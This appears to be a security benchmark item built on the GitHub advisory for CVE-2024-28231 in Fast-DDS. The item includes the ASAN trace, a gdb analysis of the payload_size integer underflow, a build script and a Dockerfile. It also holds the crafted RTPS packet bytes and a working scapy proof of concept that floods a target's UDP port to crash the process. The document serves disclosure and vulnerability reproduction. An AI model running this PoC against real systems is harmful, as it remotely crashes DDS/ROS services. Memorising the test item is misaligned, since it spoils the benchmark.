Project: fast-dds (eprosima/fast-dds), language: c++
Vulnerability instance: fast-dds.cve-2024-28231
Sanitizer: address

================= Bug Report (1/1) ==================
## Source: GitHub Advisory
## URL: https://github.com/eProsima/Fast-DDS/security/advisories/GHSA-9m2j-qw67-ph4w
## Description:
Advisory ID: GHSA-9m2j-qw67-ph4w
Title: Manipulated DATA Submessage causes a heap-buffer-overflow error

Description:
1. Summary
Manipulated DATA Submessage can cause a heap overflow error in the Fast-DDS process, causing the process to be terminated remotely.
The payload_size in the DATA Submessage packet is declared as uint32_t. When a negative number, such as -1, is input into this variable, it results in an Integer Overflow (for example, -1 gets converted to 0xFFFFFFFF). This eventually leads to a heap-buffer-overflow, causing the program to terminate.
2. Details
Attack Precondition
You must sniff the guid value of the Pub node.
When the next DATA Submessage is sent to the sub node, a heap-buffer-overflow error from ASAN occurs.
# RTPS Header
0000   52 54 50 53 02 02 01 0f 01 0f 84 27 42 0b 60 96
0010   00 00 00 00
----------------------------------------------------------------------------------------
# Data Submessage
0010               15 05 30 00 00 00 2d 00 00 00 14 04
0020   00 00 14 03 00 00 00 00 0f ff ff ff 00 01 00 00
0030   37 33 31 36 38 37 33 30 33 37 31 38 30 33 31 35
0040   38 39 33 37 36 00 01 00 ff ff ff ff ff ff ff ff
ASAN Report
=================================================================
==2713==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x63100004c7dc at pc 0x7f61b6a3a397 bp 0x7f61abdf61b0 sp 0x7f61abdf5958
READ of size 4294967295 at 0x63100004c7dc thread T10
    #0 0x7f61b6a3a396 in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827
    #1 0x7f61aff40519 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:29
    #2 0x7f61aff40519 in eprosima::fastrtps::rtps::SerializedPayload_t::copy(eprosima::fastrtps::rtps::SerializedPayload_t const*, bool) /home/suwan/ros2_rolling/src/eProsima/Fast-DDS/include/fastdds/rtps/common/SerializedPayload.h:133
    #3 0x7f61aff40519 in eprosima::fastrtps::rtps::TopicPayloadPool::get_payload(eprosima::fastrtps::rtps::SerializedPayload_t&, eprosima::fastrtps::rtps::IPayloadPool*&, eprosima::fastrtps::rtps::CacheChange_t&) /home/suwan/ros2_rolling/src/eProsima/Fast-DDS/src/cpp/rtps/history/TopicPayloadPool.cpp:114
    #4 0x7f61aff5d900 in eprosima::fastrtps::rtps::StatefulReader::processDataMsg(eprosima::fastrtps::rtps::CacheChange_t*) /home/suwan/ros2_rolling/src/eProsima/Fast-DDS/src/cpp/rtps/reader/StatefulReader.cpp:629
    #5 0x7f61aff7574f in operator() /home/suwan/ros2_rolling/src/eProsima/Fast-DDS/src/cpp/rtps/messages/MessageReceiver.cpp:220
    #6 0x7f61aff7574f in findAllReaders<eprosima::fastrtps::rtps::MessageReceiver::process_data_message_without_security(const eprosima::fastrtps::rtps::EntityId_t&, eprosima::fastrtps::rtps::CacheChange_t&, bool)::<lambda(eprosima::fastrtps::rtps::RTPSReader*)> > /home/suwan/ros2_rolling/src/eProsima/Fast-DDS/src/cpp/rtps/messages/MessageReceiver.cpp:720
    #7 0x7f61aff7574f in eprosima::fastrtps::rtps::MessageReceiver::process_data_message_without_security(eprosima::fastrtps::rtps::EntityId_t const&, eprosima::fastrtps::rtps::CacheChange_t&, bool) /home/suwan/ros2_rolling/src/eProsima/Fast-DDS/src/cpp/rtps/messages/MessageReceiver.cpp:223
    #8 0x7f61aff7c58b in std::function<void (eprosima::fastrtps::rtps::EntityId_t const&, eprosima::fastrtps::rtps::CacheChange_t&, bool)>::operator()(eprosima::fastrtps::rtps::EntityId_t const&, eprosima::fastrtps::rtps::CacheChange_t&, bool) const /usr/include/c++/11/bits/std_function.h:590
    #9 0x7f61aff7c58b in eprosima::fastrtps::rtps::MessageReceiver::proc_Submsg_Data(eprosima::fastrtps::rtps::CDRMessage_t*, eprosima::fastrtps::rtps::SubmessageHeader_t*, eprosima::fastrtps::rtps::EntityId_t&, bool) const /home/suwan/ros2_rolling/src/eProsima/Fast-DDS/src/cpp/rtps/messages/MessageReceiver.cpp:901
    #10 0x7f61aff7e6fd in eprosima::fastrtps::rtps::MessageReceiver::processCDRMsg(eprosima::fastrtps::rtps::Locator_t const&, eprosima::fastrtps::rtps::Locator_t const&, eprosima::fastrtps::rtps::CDRMessage_t*) /home/suwan/ros2_rolling/src/eProsima/Fast-DDS/src/cpp/rtps/messages/MessageReceiver.cpp:457
    #11 0x7f61aff85a43 in eprosima::fastrtps::rtps::ReceiverResource::OnDataReceived(unsigned char const*, unsigned int, eprosima::fastrtps::rtps::Locator_t const&, eprosima::fastrtps::rtps::Locator_t const&) /home/suwan/ros2_rolling/src/eProsima/Fast-DDS/src/cpp/rtps/network/ReceiverResource.cpp:135
    #12 0x7f61b0098877 in eprosima::fastdds::rtps::UDPChannelResource::perform_listen_operation(eprosima::fastrtps::rtps::Locator_t) /home/suwan/ros2_rolling/src/eProsima/Fast-DDS/src/cpp/rtps/transport/UDPChannelResource.cpp:79
    #13 0x7f61b0098d7c in operator() /home/suwan/ros2_rolling/src/eProsima/Fast-DDS/src/cpp/rtps/transport/UDPChannelResource.cpp:49
    #14 0x7f61b0098d7c in operator() /home/suwan/ros2_rolling/src/eProsima/Fast-DDS/src/cpp/utils/threading.hpp:99
    #15 0x7f61b0098d7c in ThreadProxy<eprosima::create_thread<eprosima::fastdds::rtps::UDPChannelResource::UDPChannelResource(eprosima::fastdds::rtps::UDPTransportInterface*, eprosima::fastdds::rtps::eProsimaUDPSocket&, uint32_t, const Locator&, const string&, eprosima::fastdds::rtps::TransportReceiverInterface*, const eprosima::fastdds::rtps::ThreadSettings&)::<lambda()>, unsigned int>(eprosima::fastdds::rtps::UDPChannelResource::UDPChannelResource(eprosima::fastdds::rtps::UDPTransportInterface*, eprosima::fastdds::rtps::eProsimaUDPSocket&, uint32_t, const Locator&, const string&, eprosima::fastdds::rtps::TransportReceiverInterface*, const eprosima::fastdds::rtps::ThreadSettings&)::<lambda()>, const eprosima::fastdds::rtps::ThreadSettings&, char const*, unsigned int)::<lambda()> > /home/suwan/ros2_rolling/src/eProsima/Fast-DDS/src/cpp/utils/thread_impl/thread_impl_custom.hpp:56
    #16 0x7f61b5694ac2 in start_thread nptl/pthread_create.c:442
    #17 0x7f61b572684f  (/lib/x86_64-linux-gnu/libc.so.6+0x12684f)

0x63100004c7dc is located 0 bytes to the right of 65500-byte region [0x63100003c800,0x63100004c7dc)
allocated by thread T0 here:
    #0 0x7f61b6ab4887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x7f61b006363f in eprosima::fastrtps::rtps::CDRMessage_t::CDRMessage_t(unsigned int) /home/suwan/ros2_rolling/src/eProsima/Fast-DDS/include/fastdds/rtps/common/CDRMessage_t.h:79
    #2 0x7f61b006363f in eprosima::fastdds::rtps::ChannelResource::ChannelResource(unsigned int) /home/suwan/ros2_rolling/src/eProsima/Fast-DDS/src/cpp/rtps/transport/ChannelResource.cpp:45

Thread T10 created by T0 here:
    #0 0x7f61b6a58685 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:216
    #1 0x7f61b02908b8 in eprosima::thread::start_thread_impl(int, void* (*)(void*), void*) /home/suwan/ros2_rolling/src/eProsima/Fast-DDS/src/cpp/utils/thread_impl/thread_impl_pthread.ipp:63

SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827 in __interceptor_memcpy
Shadow bytes around the buggy address:
  0x0c62800018a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c62800018b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c62800018c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c62800018d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c62800018e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c62800018f0: 00 00 00 00 00 00 00 00 00 00 00[04]fa fa fa fa
  0x0c6280001900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c6280001910: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c6280001920: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c6280001930: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c6280001940: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==2713==ABORTING
[ros2run]: Aborted
Analysis Code With GDB
1. The code that causes
Fast-DDS-2.13.1/src/cpp/rtps/messages/MessageReceiver.cpp:846
// 739 line
bool MessageReceiver::proc_Submsg_Data(
        CDRMessage_t* msg,
        SubmessageHeader_t* smh,
        EntityId_t& writerID,
        bool was_decoded) const
{

.....

 if (dataFlag || keyFlag)
     {
         uint32_t payload_size;
         payload_size = smh->submessageLength -
                 (RTPSMESSAGE_DATA_EXTRA_INLINEQOS_SIZE + octetsToInlineQos + inlineQosSize);

         if (dataFlag)
         {
             uint32_t next_pos = msg->pos + payload_size;
             if (msg->length >= next_pos && payload_size > 0)
             {
                 ch.serializedPayload.data = &msg->buffer[msg->pos];
                 ch.serializedPayload.length = payload_size;
                 ch.serializedPayload.max_size = payload_size;
                 msg->pos = next_pos;
             }
             else
             {
                 EPROSIMA_LOG_WARNING(RTPS_MSG_IN, IDSTRING "Serialized Payload value invalid or larger than maximum allowed size"
                         "(" << payload_size << "/" << (msg->length - msg->pos) << ")");
                 ch.serializedPayload.data = nullptr;
                 ch.inline_qos.data = nullptr;
                 return false;
             }
         }
2. Verify with gdb
The payload_size of the DATA Submessage packet is declared as uint32_t.
After setting a breakpoint at line 827 in the code, the code is executed line by line up to line 849. Subsequently, an examination of each variable reveals that smh→submessageLength is equivalent to the length of OctetsToNextHeader.
‘RTPSMESSAGE_DATA_EXTRA_INLINEQOS_SIZE’ is a global variable and the integer 4 is declared.
In the attacker manipulated packet, octetsToNextHeader is 48, so the length of smh→submessageLength is 48.
Additionally, since octetsToInlineQos is 45, the total length of RTPSMESSAGE_DATA_EXTRA_INLINEQOS_SIZE + octetsToInlineQos + inlineQosSize becomes 49. Consequently, this results in payload_size being -1.
In this situation, the range of the variable payload_size is 0 to 4,294,967,295, so an Integer Overflow occurs, and 4,294,967,295 is assigned to payload_size. Next, in code line 855, the value of payload_size is assigned to the ch.serializedPayload.length variable.
Afterwards, in the process of allocating data using the memcpy function, a heap-buffer-overflow occurs because data is copied up to the length of ch.serializedPayload.length.
3. PoC
Attack Environment Required Info
Operating System : Ubuntu 22.04 LTS
This issue was first identified in FastDDS v2.12.1 and continues to persist in FastDDS v2.13.1.
from scapy.all import *

hex_value = ""
hex_value += "525450530202010f010f8427420b609600000000"
hex_value += "1505300000002d00000014040000140300000000"
hex_value += "0fffffff00010000373331363837333033373138"
hex_value += "303331353839333736000100ffffffffffffffff"

abc = bytes.fromhex(hex_value)

while(1):  
   
   packet = Ether(src="00:0c:29:2e:25:3d", dst="00:0c:29:c8:40:03") / \
      IP(src="192.168.114.140",dst="192.168.114.141") / \
      UDP(sport=46605, dport=7411) / abc

   sendp(packet, iface="ens33")
4. Impact
The Fast-DDS process can be remotely terminated.


References:
https://github.com/Desglaneurs/CVEIssacGleaning/assets/146199020/5648237f-8b4f-4a5b-a40a-9b8bb1f4c1fd
https://github.com/Desglaneurs/CVEIssacGleaning/assets/146199020/37f40206-e4d7-44ea-a433-c270075968bf
https://github.com/Desglaneurs/CVEIssacGleaning/assets/146199020/87c0d689-1609-4961-940c-46fd52e82b48

Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
make clean -j$(nproc)
make -j$(nproc) all
./configure
make -j$(nproc) install
mkdir -p Fast-CDR/build && cd Fast-CDR/build
cmake .. -DBUILD_SHARED_LIBS=OFF
cmake --build . --target install
mkdir -p build && cd build
make -j $(nproc)

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt install -y autoconf automake pkg-config
RUN git clone https://github.com/eprosima/fast-dds fast-dds
RUN git -C fast-dds checkout 6ee30277b403dcc8bd9d8d0643acf2f4a5e48efd
WORKDIR $SRC/fast-dds
COPY build.sh $SRC/

Additional files: